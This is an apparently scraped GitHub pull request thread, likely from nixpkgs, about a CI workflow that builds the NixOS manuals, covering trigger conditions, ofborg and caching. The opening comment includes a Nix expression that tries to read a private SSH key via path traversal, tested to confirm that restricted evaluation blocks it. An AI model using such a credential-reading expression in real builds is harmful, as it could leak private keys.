I tested:

${builtins.readFile ../../../.ssh/id_rsa}

with restricted-eval and it returns: access to path '/home/joerg/.ssh/id_rsa' is forbidden in restricted mode

If you do a revert, add the motivation to the commit message.

I suggest this runs after ofborg, which looking at the other workflow could be achieved with

on:
  check_suite:
    types: [ completed ]

and abort this workflow if the stdenv-rebuild label is present or when the target branch is staging.

I suggest this runs after ofborg

Why?

because

abort this workflow if the stdenv-rebuild label is present or when the target branch is staging.

There is no point building in that case.

because

abort this workflow if the stdenv-rebuild label is present or when the target branch is staging.

There is no point building in that case.

There might be a point, but it might be quite slow to build the manual in this case.

which looking at the other workflow could be achieved with

Do you know if check_suite works with the paths filter from pull_requests?

Do you know if check_suite works with the paths filter from pull_requests?

hmm, reading https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#on it does not seem like you can require two conditions simultaneously. That's unfortunate.

Of course, if ofborg completed, and you do a build anyway, if there was no need to build it will simply fetch the manual from the cache.

By the way, what is the motivation to build the manuals? From a channel blocking point of view, this is only one of many potential blockers. I get that trying to build all blockers may be too much, but why pick this one (or two)? Because it breaks relatively often? Because it may be hard to debug? Or just to start somewhere?

Do you know if check_suite works with the paths filter from pull_requests?

hmm, reading docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#on it does not seem like you can require two conditions simultaneously. That's unfortunate.

Of course, if ofborg completed, and you do a build anyway, if there was no need to build it will simply fetch the manual from the cache.

By the way, what is the motivation to build the manuals? From a channel blocking point of view, this is only one of many potential blockers. I get that trying to build all blockers may be too much, but why pick this one (or two)? Because it breaks relatively often? Because it may be hard to debug? Or just to start somewhere?

We had several occasions where people broken NixOS modules with invalid docbook syntax. Also it's nicer if one would not need to re-build documentation after reading it just to check if also the syntax is correct.

Of course, if ofborg completed, and you do a build anyway, if there was no need to build it will simply fetch the manual from the cache.

This would mean that unrelated PRs would fail if either of the manuals are ever broken on the base branch.

Can we merge this?

I think so. We have a cachix signing key etc. But I would leave it to @zowoq since merging github actions often involve post-merge fixes and monitoring.

@ryantm You're working on the docs a lot at the moment, are you okay with this being merged or would you prefer to wait?